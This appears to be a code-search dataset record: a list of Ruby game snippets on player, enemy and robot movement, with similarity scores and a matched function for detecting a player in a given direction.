"def update\n\t\tif @player_moved\n\t\t\t@prawn.swimming = true\n\t\telse\n\t\t\tdrift \n\t\t\t@prawn.swimming = false\n\t\tend\n\n\t\tif !@moved_y_axis && !is_plane\n\t\t\tstabilise\n\t\t\t@has_moved = true\n\t\tend\n\n\t\tcheck_bounds\n\n\t\t@prawn.update\n\t\t@player_moved = @moved_y_axis = false\n\tend",
"def ai\n mx = window.level.mouse.x\n my = window.level.mouse.y\n if @x + 35.0 < mx\n move_right\n if @y >= my + 15.0\n up\n end\n elsif @x > mx + 35.0\n move_left\n if @y >= my + 15.0\n up\n end\n end\n end",
"def move(player, x, y)\n\n end",
"def detect_player_rect(nx, ny)\n return false if $game_switches[Yuki::Sw::Env_Detection]\n c = $game_map.events[@event_id]\n dx = ($game_player.x - c.x).abs\n dy = ($game_player.y - c.y).abs\n return (dx <= nx && dy <= ny)\n end",
"def process_inputs_player_movement\n # Sets dx to 0 if the player lets go of arrow keys (player won't move left or right)\n if inputs.keyboard.key_up.right\n state.dx = 0\n elsif inputs.keyboard.key_up.left\n state.dx = 0\n end\n\n # Sets dx to 3 in whatever direction the player chooses when they hold down (or press) the left or right keys\n if inputs.keyboard.key_held.right\n state.dx = 3\n elsif inputs.keyboard.key_held.left\n state.dx = -3\n end\n\n # Sets dy to 5 to make the player ~fly~ when they press the space bar on their keyboard\n if inputs.keyboard.key_held.space\n state.dy = 5\n end\n end",
"def move\n return false if @position.nil?\n\n position = @position\n movement = nil\n\n case @direction\n when :north\n movement = { x: 0, y: 1 }\n when :east\n movement = { x: 1, y: 0 }\n when :south\n movement = { x: 0, y: -1 }\n when :west\n movement = { x: -1, y: 0 }\n end\n\n moved = true\n\n if valid_position?(position[:x] + movement[:x], position[:y] + movement[:y])\n @position = { x: position[:x] + movement[:x], y: position[:y] + movement[:y] }\n else\n moved = false\n end\n\n moved\n end",
"def move_type_avoid_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n\n # What if they follow more aggressively on harder difficulty?\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_away_from_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n end",
"def handle_input\n return unless player # can happen when spawning\n return if player.should_fall? || @dialog\n if move = move_for_keypress\n @conn.send_move player_id, move\n # also creates a delta in the engine\n end\n end",
"def movable_moving?\n\n @movable_delta_x&.nonzero? || @movable_delta_y&.nonzero?\n\n end",
"def move_possible?(ordinates)\n if @x + ordinates[0] > @plateau.x || @x + ordinates[0] < 0 || @y + ordinates[1] > @plateau.y || @y + ordinates[1] < 0\n raise Exception, 'On the edge of plateau. Not possible to move forward.'\n end\n end",
"def move\n\t\treturn \"INVALID COMMANDS, YOU CAN NOT MAKE THE ROBOT FALL OFF THE TABLE\" unless is_valid_move?\n\t\tcase @direction\n\t\twhen \"east\"\n\t\t\t@x_coordinate += 1\n\t\twhen \"west\"\n\t\t\t@x_coordinate -= 1\n\t\twhen \"south\"\n\t\t\t@y_coordinate -= 1\n\t\twhen \"north\"\n\t\t\t@y_coordinate += 1\n\t\telse\n\t\tend\n\t\ttrue\n\tend",
"def move (direction)\n\n if@navunit.is_valid_move @xpos, @ypos\n\n if direction == 'north'\n @ypos += 1\n elsif direction == 'east'\n @xpos += 1\n elsif direction == 'south'\n @ypos -= 1\n elsif direction == 'west'\n @xpos -= 1\n end\n\n else\n puts \"that's not a valid move\"\n end\n\n def report\n \"My co-ordinates are #{@xpos}, #{@ypos}\"\n end\nend",
"def is_move_available?\n self.robot.world.is_move_available?(self.x, self.y)\n end",
"def player_push(event)\n event.turn_away_from_player\n event.jump_back if event.check_com(\"JUMPBACK\") and\n event.pushable_busy.nil? and not event.jump_passable?(1, true)\n if event.passable?(event.x, event.y, @direction) and !event.moving?\n unless event.x == @x and event.y == @y\n event.move_away_from_player\n RPG::SE.new(PushSe,80).play\n end\n end\n end",
"def move\r\n @x += @x_direction\r\n @y += @y_direction\r\n # Preventing the Alien moving out of the screen\r\n if @x > (SCREEN_WIDTH - GAME_PRESET[\"alien_reach\"]) || @x < 0\r\n @x_direction= -@x_direction\r\n elsif @y > (SCREEN_HEIGHT * @height_limit)\r\n @y_direction = 0\r\n end\r\n end",
"def update_moving(data)\n # if control update was not aborted\n if data != nil\n # get data\n moved, x, y = data\n # if moved down\n if player.real_y > y && player.real_y - $game_map.display_y > CY\n # scroll screen down\n $game_map.scroll_down(player.real_y - y)\n end\n # if moved left\n if player.real_x < x && player.real_x - $game_map.display_x < CX\n # scroll screen left\n $game_map.scroll_left(x - player.real_x)\n end\n # if moved right\n if player.real_x > x && player.real_x - $game_map.display_x > CX\n # scroll screen right\n $game_map.scroll_right(player.real_x - x)\n end\n # if moved up\n if player.real_y < y && player.real_y - $game_map.display_y < CY\n # scroll screen up\n $game_map.scroll_up(y - player.real_y)\n end\n # if not moving\n unless player.moving?\n # if last moving, not activated, not override and countdown\n if moved && !check_event_trigger_here(Cache::TouchTrigger) &&\n !($DEBUG && Input.press?(Input::CTRL)) && @encounter_count > 0\n # set battle-encounter countdown\n @encounter_count -= 2 ** (5 - $game_system.pixel_rate)\n @encounter_count = 0 if @encounter_count < 0\n end\n # if pressed C button\n if Input.trigger?(Input::C)\n # check event here\n check_event_trigger_here(Cache::PressTrigger)\n # check event there\n check_event_trigger_there(Cache::BasicTrigger)\n end\n end\n end\n # update each other actor except the player\n ($BlizzABS.battlers - [player]).each {|actor| actor.update}\n end",
"def move(args)\n return if !@is_robot_availabe\n case @direction\n when \"NORTH\"\n if @pos_y + STEP <= TABLE_Y\n @pos_y += STEP\n return\n end\n \n when \"EAST\"\n if @pos_x + STEP <= TABLE_X\n @pos_x += STEP\n return\n end\n \n when \"SOUTH\"\n if @pos_y - STEP >= 0\n @pos_y -= STEP\n return\n end\n \n when \"WEST\"\n if @pos_x - STEP >= 0\n @pos_x -= STEP\n return\n end\n \n end\n puts \"Warning: Robot cannot move towards #{@direction} anymore. \"\n # return \"MOVE\" #for test\n end",
"def tryMove\n if @enemy\n collidesWithPlayer\n else\n collidesWithEnemy\n end\n detectCollision\n end",
"def pbLedge(xOffset,yOffset)\n if PBTerrain.isLedge?(Kernel.pbFacingTerrainTag)\n if Kernel.pbJumpToward(2,true)\n $scene.spriteset.addUserAnimation(DUST_ANIMATION_ID,$game_player.x,$game_player.y,true)\n $game_player.increase_steps\n $game_player.check_event_trigger_here([1,2])\n end\n return true\n end\n return false\nend",
"def move_type_toward_player\n if near_the_player?\n case rand(6)\n when 0 then move_toward_player\n when 1 then move_toward_player\n when 2 then move_toward_player\n when 3 then move_toward_player\n when 4 then move_random\n when 5 then move_forward\n end\n else\n move_random\n end\n end",
"def update\n if idle?\n if Gosu.distance(@hb.x,@hb.y,$WINDOW.player.hb.x, $WINDOW.player.hb.y) < 150\n # If distance is 150 or less, behaviour changes to approaching\n change_state(GameStates::States::WALKING)\n @vect_v = 1\n @vect_angle = Gosu.angle(@hb.x, @hb.y, $WINDOW.player.hb.x, $WINDOW.player.hb.y)\n end\n elsif walking?\n # While walking, wolf tries to approach the main character\n @vect_angle = Gosu.angle(@hb.x, @hb.y, $WINDOW.player.hb.x, $WINDOW.player.hb.y)\n if @una_check_tiks <= 0\n # When next attack check counter reaches 0, wolf can attack.\n dieroll = Random.rand\n if dieroll <= ATTACK_PROBABILITY\n # If random is within attack probability, the wolf changes behaviour to attack\n change_state(GameStates::States::ATTACKING)\n @event_tiks =60\n @vect_v = 0\n else\n #If random is not within attack probability, next attack check counter is reset to 30.\n @una_check_tiks = 30\n end\n end\n check_change_dir\n elsif attacking?\n # If attacking, wolf waits for a little while, then charges in a straight line. Then waits a little while.\n if @event_tiks > 20\n check_change_dir\n elsif @event_tiks == 20\n @vect_angle = Gosu.angle(@hb.x, @hb.y, $WINDOW.player.hb.x, $WINDOW.player.hb.y)\n @vect_v = 3.5\n elsif @event_tiks == 10\n @venct_v = 0\n elsif @event_tiks <= 0\n change_state(GameStates::States::IDLE)\n @una_check_tiks = 100\n end\n end\n\n if normal? && $WINDOW.player.inv_frames <= 0 && !$WINDOW.player.recoiling? && @hb.check_brute_collision($WINDOW.player.hb)\n # If it connects with player, player is set to impacted.\n $WINDOW.player.impacted(@hb.center, @attack_dmg)\n end\n\n if !idle? && Gosu.distance(@hb.x,@hb.y,$WINDOW.player.hb.x, $WINDOW.player.hb.y) > 250\n #If distance surpasses 250, the wolf turns back to idle.\n change_state(GameStates:States::IDLE)\n end\n\n super\n @una_check_tiks -= 1 unless idle? || @una_check_tiks <= 0\n end",
"def update event\n if alive?\n hit! if @got_hit\n move_by(@movement_delta * event.milliseconds)\n end\n end",
"def move\n case @direction\n when \"N\" then @y += 1 unless @y + 1 > @plateau.y || @@rover_locations.values.include?([@x, @y + 1])\n when \"E\" then @x += 1 unless @x + 1 > @plateau.x || @@rover_locations.values.include?([@x + 1, @y])\n when \"S\" then @y -= 1 unless @y - 1 < 0 || @@rover_locations.values.include?([@x, @y -1])\n when \"W\" then @x -= 1 unless @x - 1 < 0 || @@rover_locations.values.include?([@x -1, @x])\n end\n @@rover_locations[@id.to_sym] = [@x, @y]\n end",
"def pbLedge(xOffset,yOffset)\n if PBTerrain.isLedge?(Kernel.pbFacingTerrainTag)\n if Kernel.pbJumpToward(2,true)\n $scene.spriteset.addUserAnimation(DUST_ANIMATION_ID,$game_player.x,$game_player.y,true,1)\n $game_player.increase_steps\n $game_player.check_event_trigger_here([1,2])\n end\n return true\n end\n return false\nend",
"def player_turn\n hit_loop(@player)\n end",
"def move()\n if @direction == \"up\"\n move_up()\n elsif @direction == \"down\"\n move_down()\n else\n #check if anyone is on current floor- which way do majority want to go from here?\n @direction = people_on_current_floor()\n if @direction == \"up\" #were more ppl on this floor wanting to go up\n move_up()\n elsif @direction == \"down\"\n move_down()\n else #no one on this floor, decide direction based on pending rqsts above and below...\n decide_direction()\n end\n end\n end",
"def valid_move?(position)\n position.between?(0,8) && !position_taken?(position)\n end",
"def calc_edge_collision\n # Ensures that player doesn't fall below the map\n if next_y < 0 && state.dy < 0 # if player is moving down and is about to fall (next_y) below the map's scope\n state.y = 0 # 0 is the lowest the player can be while staying on the screen\n state.dy = 0\n # Ensures player doesn't go insanely high\n elsif next_y > 720 - state.tile_size && state.dy > 0 # if player is moving up, about to exceed map's scope\n state.y = 720 - state.tile_size # if we don't subtract tile_size, we won't be able to see the player on the screen\n state.dy = 0\n end\n\n # Ensures that player remains in the horizontal range its supposed to\n if state.x >= 1280 - state.tile_size && state.dx > 0 # if the player is moving too far right\n state.x = 1280 - state.tile_size # farthest right the player can be while remaining in the screen's scope\n state.dx = 0\n elsif state.x <= 0 && state.dx < 0 # if the player is moving too far left\n state.x = 0 # farthest left the player can be while remaining in the screen's scope\n state.dx = 0\n end\n end",
"def standard_move?(x,y)\n return (x_diff(x) == 0) && (y_diff(y) == 1)\n end",
"def moving?\n $window.button_down?(Gosu::KbS) || $window.button_down?(Gosu::KbD) || $window.button_down?(Gosu::KbW) || $window.button_down?(Gosu::KbA)\n end",
"def next_move_correct?(ary,attacking = false)\n diff1 = ary[0] - current_position[0]\n diff2 = ary[1] - current_position[1]\n if diff1 == 0 || diff2 == 0\n true\n else\n false\n end\n end",
"def jump_passable?(distance, ignore_events=false)\n dir = @direction\n return false if !ignore_events and collide_with_characters?(\n @x + ajustxy(self)[0] * distance, @y + ajustxy(self)[1] * distance)\n \n return true if self.is_a?(Game_Player) and\n $game_map.terrain_tag(@x + ajustxy(self)[0] * distance, \n @y + ajustxy(self)[1] * distance) == FalInt::FallTag\n \n return true if self.is_a?(Game_Event) and self.check_com(\"PUSHABLE\") and\n $game_map.terrain_tag(@x + ajustxy(self)[0] * distance, \n @y + ajustxy(self)[1] * distance) == FalInt::FallTag\n \n return true if map_passable?(@x, @y + distance, dir) and dir == 2\n return true if map_passable?(@x - distance, @y, dir) and dir == 4\n return true if map_passable?(@x + distance, @y, dir) and dir == 6\n return true if map_passable?(@x, @y - distance, dir) and dir == 8\n return false\n end",
"def is_valid_move x,y\n return false unless (0..3) === x\n return false unless (0..3) === y\n return @field[x][y].player == 0\n end",
"def calc_player\n\n # Since acceleration is the change in velocity, the change in y (dy) increases every frame.\n # What goes up must come down because of gravity.\n state.dy += state.gravity\n\n # Calls the calc_box_collision and calc_edge_collision methods.\n calc_box_collision\n calc_edge_collision\n\n # Since velocity is the change in position, the change in y increases by dy. Same with x and dx.\n state.y += state.dy\n state.x += state.dx\n\n # Scales dx down.\n state.dx *= 0.8\n end",
"def update_castling_field\n return unless @piece_moving and @piece_moving.kind_of?(King)\n self[:castled] = true if @piece_moving.is_castling_move?( from_coord, to_coord - from_coord, @board )\n end",
"def move_in_and_celebrate?\n nil\n end",
"def get_new_pos_direct\n # We assume in this method that we're not at the target yet, since we check for the goal state elsewhere\n # Determine if we need to move sideways or up-down\n new_pos = Point.new(@pos.x, @pos.y)\n if (@target.pos.x-@pos.x).abs >= (@target.pos.y-@pos.y).abs\n # move sideways\n if @target.pos.x > @pos.x\n new_pos.x += @move_amount\n else\n new_pos.x -= @move_amount\n end\n else\n # move up-down\n if @target.pos.y > @pos.y\n new_pos.y += @move_amount\n else\n new_pos.y -= @move_amount\n end\n end\n \n if @wall.blocked? (new_pos)\n @pos\n else\n new_pos\n end\n end",
"def moving!\n end",
"def check_event_trigger_touch(x, y)\n return if $game_map.interpreter.running?\n if @trigger == 2 and $game_player.pos?(x, y)\n start if not jumping? and @priority_type == 1\n end\n end"
] |
[
"0.7021321",
"0.6991838",
"0.6953156",
"0.672192",
"0.6523583",
"0.65051264",
"0.6491392",
"0.6436279",
"0.6388089",
"0.63589907",
"0.63353544",
"0.631899",
"0.62984306",
"0.6284852",
"0.6279198",
"0.62755275",
"0.62330383",
"0.6228724",
"0.6228079",
"0.62206763",
"0.6218944",
"0.6204181",
"0.6189155",
"0.6184236",
"0.6177508",
"0.6177508",
"0.612316",
"0.6117745",
"0.61131835",
"0.6086128",
"0.6067022",
"0.60649276",
"0.6050111",
"0.60456073",
"0.60439366",
"0.6040683",
"0.6038704",
"0.6027769",
"0.60155404",
"0.6003287",
"0.59926784",
"0.5974655",
"0.59559566",
"0.59557956",
"0.59477234",
"0.5937464",
"0.59326506",
"0.59281945",
"0.5924212",
"0.59224594",
"0.59208345",
"0.5920664",
"0.5919218",
"0.5917168",
"0.5915104",
"0.5895826",
"0.58928776",
"0.58840734",
"0.5876746",
"0.5875785",
"0.5869448",
"0.58673644",
"0.58632845",
"0.5858612",
"0.585816",
"0.58577883",
"0.5856198",
"0.5856173",
"0.5846379",
"0.5844443",
"0.584026",
"0.5839587",
"0.58230525",
"0.58219767",
"0.5821595",
"0.5821117",
"0.5818613",
"0.58152497",
"0.5811847",
"0.58113384",
"0.5805649",
"0.58053684",
"0.5804716",
"0.5803678",
"0.57921",
"0.5791012",
"0.5784464",
"0.578086",
"0.57681537",
"0.57636863",
"0.5758265",
"0.5750957",
"0.5748124",
"0.574757",
"0.5739872",
"0.57392687",
"0.5737201",
"0.5733956",
"0.5731687",
"0.572872"
] |
0.68240285
|
3
|
Detect the player in a specific direction
|
def detect_player(nb_pas, direction)
return false if $game_switches[Yuki::Sw::Env_Detection]
c = $game_map.events[@event_id]
dx = $game_player.x - c.x
dy = $game_player.y - c.y
case direction
when :right, 6
return (dy == 0 && dx >= 0 && dx <= nb_pas)
when :down, 2
return (dx == 0 && dy >= 0 && dy <= nb_pas)
when :left, 4
return (dy == 0 && dx <= 0 && dx >= -nb_pas)
else
return (dx == 0 && dy <= 0 && dy >= -nb_pas)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def di(x); $game_player.directionalInput == x; end",
"def turn_to_player\n diffx = @x - $game.player.x\n diffy = @y - $game.player.y\n down = diffy < 0\n left = diffx > 0\n right = diffx < 0\n up = diffy > 0\n if down\n @direction = 2\n elsif up\n @direction = 8\n elsif left\n @direction = 4\n elsif right\n @direction = 6\n end\n end",
"def player_spotted_directional?(up: nil, down: nil, left: nil, right: nil)\n case $game_map.events[@event_id].direction\n when 2\n return player_spotted?(down || up || left || right || 1)\n when 8\n return player_spotted?(up || down || left || right || 1)\n when 4\n return player_spotted?(left || right || up || down || 1)\n when 6\n return player_spotted?(right || left || up || down || 1)\n end\n return false\n end",
"def decideDirection()\n if @@invaderDirection == :right\n if !insideScreen(@speed)\n @@invaderDirection = :left\n end\n\n elsif @@invaderDirection == :left\n if !insideScreen(@speed)\n @@invaderDirection = :right\n end \n end\n end",
"def landed(player_position)\n if player_position = @location\n @player = true\n end \n end",
"def attacking_direction\n mouse_x, mouse_y = @game_state.camera[0] + $window.mouse_x, @game_state.camera[1] + $window.mouse_y\n \n distance_from_x = (mouse_x - mid_point_x).abs\n distance_from_y = (mouse_y - mid_point_y).abs\n \n if distance_from_x > distance_from_y\n if mouse_x > mid_point_x\n :right\n else mouse_x < mid_point_x\n :left\n end\n else\n if mouse_y > mid_point_y\n :down\n else mouse_y < mid_point_y\n :up\n end\n end\n end",
"def turn_away_from_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # If coordinates are equal\n if sx == 0 and sy == 0\n return\n end\n # If horizontal distance is longer\n if sx.abs > sy.abs\n # Turn to the right or left away from player\n sx > 0 ? turn_right : turn_left\n # If vertical distance is longer\n else\n # Turn up or down away from player\n sy > 0 ? turn_down : turn_up\n end\n end",
"def direction_of(search_for) # 'search_for' should be a symbol of a 'space' method (empty? enemy? captive? etc.)\n DIRECTIONS.each do |direction|\n return direction if object_in_direction?(direction, search_for)\n end\n end",
"def look_at direction = nil\n return @direction if direction.nil?\n\n case @direction\n when :up \n target_direction = direction == :right ? :right : direction == :left ? :left : :down\n when :right \n target_direction = direction == :right ? :down : direction == :left ? :up : :left\n when :down \n target_direction = direction == :right ? :left : direction == :left ? :right : :up\n when :left \n target_direction = direction == :right ? :up : direction == :left ? :down : :right\n end\n target_direction\n end",
"def find_room_in_direction(direction)\n\t\tfind_room_in_dungeon(@player.location).connections[direction]\n\tend",
"def find_room_in_direction(direction)\n\t\tfind_room_in_dungeon(@player.location).connections[direction]\n\tend",
"def direction(dest_x,dest_y,start_x,start_y)\n \n if @battler.is_a?(Game_Actor)\n if @move_speed == 10\n return (Math.atan2((start_y - dest_y), (start_x - dest_x))+360) % 360\n else\n return (Math.atan2((dest_y - start_y), (dest_x - start_x))+360) % 360\n end\n else\n if @move_speed == 20\n return (Math.atan2((start_y - dest_y), (start_x - dest_x))+360) % 360\n else\n return (Math.atan2((dest_y - start_y), (dest_x - start_x))+360) % 360\n end\n end\n \n end",
"def command direction\n ny, nx, nangle = near_xy(direction)\n if @labirint[ny][nx] == 0 || @labirint[ny][nx] == 2\n @x = nx\n @y = ny\n print\n @angle = nangle % 4\n end\n end",
"def pbEventFacesPlayer?(event,player,distance)\n return false if distance<=0\n # Event can't reach player if no coordinates coincide\n return false if event.x!=player.x && event.y!=player.y\n deltaX = (event.direction==6) ? 1 : (event.direction==4) ? -1 : 0\n deltaY = (event.direction==2) ? 1 : (event.direction==8) ? -1 : 0\n # Check for existence of player\n curx = event.x\n cury = event.y\n found = false\n for i in 0...distance\n curx += deltaX\n cury += deltaY\n if player.x==curx && player.y==cury\n found = true\n break\n end\n end\n return found\nend",
"def letter_direction\n just_walk_forward = sign_in_direction(direction)\n return direction unless finished?(just_walk_forward)\n crossroads_direction\n end",
"def pbEventFacesPlayer?(event,player,distance)\n return false if distance<=0\n # Event can't reach player if no coordinates coincide\n return false if event.x!=player.x && event.y!=player.y\n deltaX = (event.direction == 6 ? 1 : event.direction == 4 ? -1 : 0)\n deltaY = (event.direction == 2 ? 1 : event.direction == 8 ? -1 : 0)\n # Check for existence of player\n curx=event.x\n cury=event.y\n found=false\n for i in 0...distance\n curx+=deltaX\n cury+=deltaY\n if player.x==curx && player.y==cury\n found=true\n break\n end\n end\n return found\nend",
"def player_turn\n hit_loop(@player)\n end",
"def walking_toward?\n return Direction::Down if (@current_tile_indx >= 0 and @current_tile_indx <= 2)\n return Direction::Up if (@current_tile_indx >= 9 and @current_tile_indx <= 11)\n return Direction::Left if (@current_tile_indx >= 3 and @current_tile_indx <= 5)\n return Direction::Right if (@current_tile_indx >= 6 and @current_tile_indx <= 8)\n end",
"def dir(direction)\n if direction == \"f\"\n return \"left\"\n elsif direction == \"g\"\n return \"center\"\n elsif direction == \"h\"\n return \"right\"\n elsif direction == \"c\"\n return \"away\"\n else\n return \"invalid\"\n end\n end",
"def onalg_player_has_moved(player,color, start_x, start_y, end_x, end_y)\r\n if player != @alg_player\r\n \r\n end\r\n end",
"def from_side?\n dir1 = get_character(-1).direction\n dir2 = get_character(@event_id).prelock_direction\n diff = (dir1 - dir2).abs\n return diff == 2 || diff == 4\n end",
"def go(direction)\n puts \"You go \".red + direction.to_s.red\n @player.location = find_room_in_direction(direction)\n show_current_description\n end",
"def move(dir)\n return case (player.restriction == 3 ? 10 - dir : dir)\n when 1 then player.move_lower_left\n when 2 then player.move_down\n when 3 then player.move_lower_right\n when 4 then player.move_left\n when 6 then player.move_right\n when 7 then player.move_upper_left\n when 8 then player.move_up\n when 9 then player.move_upper_right\n end\n end",
"def check_move(direction)\n\n if direction == 0 #up\n if @y < 1\n \n return false\n end\n elsif direction == 1 #down\n if @y > @boundry\n \n return false\n end\n elsif direction == 2 #left\n if @x < 1\n \n return false\n end\n else #right\n\n if @x > @boundry\n \n return false\n end\n\n end\n\n return true\n end",
"def change_direction_at(player)\n\t$ball.x_speed_reverse\n\n\tif $ball.center[:y] <= player.top\n\t\tif $ball.y_speed > 0 then $ball.y_speed_reverse()\n\t\telse $ball.y_speed_change(-2) end\n\n\telsif $ball.center[:y] <= player.parts[:top]\n\t\t$ball.y_speed_change(-1)\n\n\telsif $ball.center[:y] >= player.parts[:bottom]\n\t\t$ball.y_speed_change(1)\n\n\telsif $ball.center[:y] >= player.bottom\n\t\tif $ball.y_speed < 0 then $ball.y_speed_reverse\n\t\telse $ball.y_speed_change(2) end\n\n\tend\n\nend",
"def creature_in_dir?(dir)\n px, py = @player.next_cell(dir)\n c = creature?(px,py)\n if c then return c\n else return false\n end\n end",
"def new_direction(dir)\n @direction = dir unless @turned\n @turned = true\n end",
"def object_in_direction?(direction, search_for)\n space(direction).send(search_for)\n end",
"def walk(direction)\n if direction == :north\n p 'Je marche vers le nord'\n elsif direction == :east\n p 'Je marche vers l\\'est'\n elsif direction == :south\n p 'Je marche vers le sud'\n elsif direction == :west\n p 'Je marche vers l\\'ouest'\n else\n p 'je rentre chez moi'\n end\nend",
"def get_direction\n return (@dir || @character.direction)\n end",
"def turn direction\n return unless placed?\n direction = case\n when direction.to_s.match(/^l(?:eft)?$/i); -1\n when direction.to_s.match(/^r(?:ight)?$/i); +1\n else; nil\n end\n # The modulus is to make sure we stay within the 0-4 array boundary\n @f = (@f + direction) % DIRECTIONS.size if direction\n report\n end",
"def go(direction)\n\t\tvalid = true\n\t\treply = \"\\nYou go \" + direction.to_s\n\t\tif find_room_in_direction(direction) == nil\n\t\t\treply = \"\\nYou can't go that way\" \n\t\t\tvalid = false\n\t\telse\n\t\t\t@player.location = find_room_in_direction(direction)\n\t\t\t\n\t\t\t#Rubbisher effect, in case player enters Rubbisher\n\t\t\t#and is wobbed out before beginning turn\n\t\t\tif @player.location == :Rubbisher\n\t\t\t\t@player.stench = 4 \n\t\t\t\t@player.beans = 0\n\t\t\tend\n\t\t\n\t\tend\n\t\tputs reply\n\t\tswitch_player if valid\n\tend",
"def player_in_turn\n \tif self.turns.where(round: self.round).exists?\n \t\t\tself.next_player\n \t\telse\n \t\t\tself.loser_of_round(self.round-1)\n \t\tend\n end",
"def direction?(new_direction)\n case @direction\n when direction = 'up' then new_direction != 'down'\n when direction = 'down' then new_direction != 'up'\n when direction = 'left' then new_direction != 'right'\n when direction = 'right' then new_direction != 'left'\n end\n end",
"def walk(direction)\r\n\tif direction == :north\r\n\tp \"Walking North\" \r\n\tend\r\n\tif direction == :south\r\n\tp \"Walking South\" \r\n\tend\r\n\tif direction == :east\r\n\tp \"Walking East\" \r\n\tend\r\n\tif direction == :west\r\n\tp \"Walking West\" \r\n\tend\r\nend",
"def place?(robot, direction_sym)\n true\n end",
"def get_on_vehicle\r\r\n front_x = $game_map.round_x_with_direction(@x, @direction)\r\r\n front_y = $game_map.round_y_with_direction(@y, @direction)\r\r\n @vehicle_type = :boat if $game_map.boat.pos_rect?(front_x, front_y, interaction_rect)\r\r\n @vehicle_type = :ship if $game_map.ship.pos_rect?(front_x, front_y, interaction_rect)\r\r\n @vehicle_type = :airship if $game_map.airship.pos_rect?(@x, @y, collision_rect)\r\r\n if vehicle\r\r\n @vehicle_getting_on = true\r\r\n horz = (@x > vehicle.x ? -1 : @x < vehicle.x ? 1 : 0)\r\r\n vert = (@y > vehicle.y ? -3 : @y < vehicle.y ? 3 : 0)\r\r\n d = 5 + horz - vert\r\r\n set_direction(d)\r\r\n @x = vehicle.x\r\r\n @y = vehicle.y\r\r\n @followers.gather\r\r\n end\r\r\n @vehicle_getting_on\r\r\n end",
"def move(direction)\n \n end",
"def move(forward)\n if @direction == \"N\"\n if @y + 1 < @@ymax\n @y += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"S\"\n if @y - 1 > @@ymin\n @y -= 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction ==\"E\"\n if @x + 1 < @@xmax\n @x += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"W\"\n if @x - 1 > @@xmin\n @x -= 1\n else\n puts \"Nice try sucker\"\n end\n else\n puts \"Where in the world are you?\"\n end\nend",
"def update_player_movement\r\n # Move player in the direction the directional button is being pressed\r\n case Input.dir4\r\n when 2\r\n move_down\r\n when 4\r\n move_left\r\n when 6\r\n move_right\r\n when 8\r\n move_up\r\n end\r\n end",
"def motion (direction)\n unit = (direction == :forward) ? 1 : -1;\n new_x, new_y = @x, @y\n case @heading\n when 'N'\n new_y = bound_y(@y + unit)\n when 'E'\n new_x = bound_x(@x + unit)\n when 'S'\n new_y = bound_y(@y - unit)\n when 'W'\n new_x = bound_x(@x - unit)\n end\n if @world.obstacle?(new_x, new_y)\n raise \"Obstacle found at x:#{new_x} y:#{new_y}\"\n else\n @x, @y = new_x, new_y\n end\n end",
"def go(direction)\n\t\tputs \"You go \" + direction.to_s\n\t\t@player.location = find_room_in_direction(direction)\n\t\tshow_current_description\n\tend",
"def has_track(player_data, direction)\n return false\n end",
"def has_track(player_data, direction)\n return false\n end",
"def wrong_direction?(player_number)\n case player_number\n when 1\n distance_for_player(player_number) < 0\n when 2\n distance_for_player(player_number) > 0\n else\n true\n end\n end",
"def facing_direction_sub\n @direction\n end",
"def get_bomb_direction\n warrior.listen.each do |unit|\n if Captives.include? unit.to_s.to_sym and unit.ticking?\n return warrior.direction_of(unit)\n end \n end\n return false\n end",
"def from_right?\n dir1 = get_character(-1).direction\n dir2 = get_character(@event_id).prelock_direction\n return (dir1 * 2) % 10 == dir2\n end",
"def players_within_distance?; captured_points.include? @prey.coords end",
"def player_distance(member)\n dist_x = (member.screen_x - self.screen_x).abs\n dist_y = (member.screen_y - self.screen_y).abs\n return (dist_x + dist_y < Max_Distance + 30)\n end",
"def turn_away_from(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to turn according to the x and y differences\n if dx < 0 && dx.abs >= dy.abs # character is right\n turn_left\n elsif dx > 0 && dx.abs >= dy.abs # character is left\n turn_right\n elsif dy < 0 # character is down\n turn_up\n elsif dy > 0 # character is up\n turn_down\n end\n end",
"def walk(direction)\n\tif direction==:east\n\t\tp 'go to east'\n\telsif direction==:soutth\n\t\tp 'go to sourth'\n\telsif direction==:west\n\t\tp 'go to west'\n\telsif direction==:north\n\t\tp 'go to north'\n\tend\t\t\nend",
"def move_toward(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to move according to the x and y differences\n if dx > 0 && dy > 0 # player is up left\n move_upper_left\n elsif dx > 0 && dy < 0 # player is down left\n move_lower_left\n elsif dx < 0 && dy > 0 # player is up right\n move_upper_right\n elsif dx < 0 && dy < 0 # player is down right\n move_lower_right\n elsif dx < 0 && dy == 0 # player is right\n move_right\n elsif dx > 0 && dy == 0 # player is left\n move_left\n elsif dx == 0 && dy < 0 # player is down\n move_down\n elsif dx == 0 && dy > 0 # player is up\n move_up\n end\n end",
"def dir_sym\n if grid.include?(self.direction_vector.direction.leap)\n self.direction_vector.direction.leap\n elsif grid.include?(self.direction_vector.direction.normal)\n self.direction_vector.direction.normal\n else\n nil\n end\n end",
"def direction\n\t\tpoint_x = end_junction.position.x - start_junction.position.x\n\t\tpoint_y = end_junction.position.y - start_junction.position.y\n\t\t[point_x / @length, point_y / @length]\n\tend",
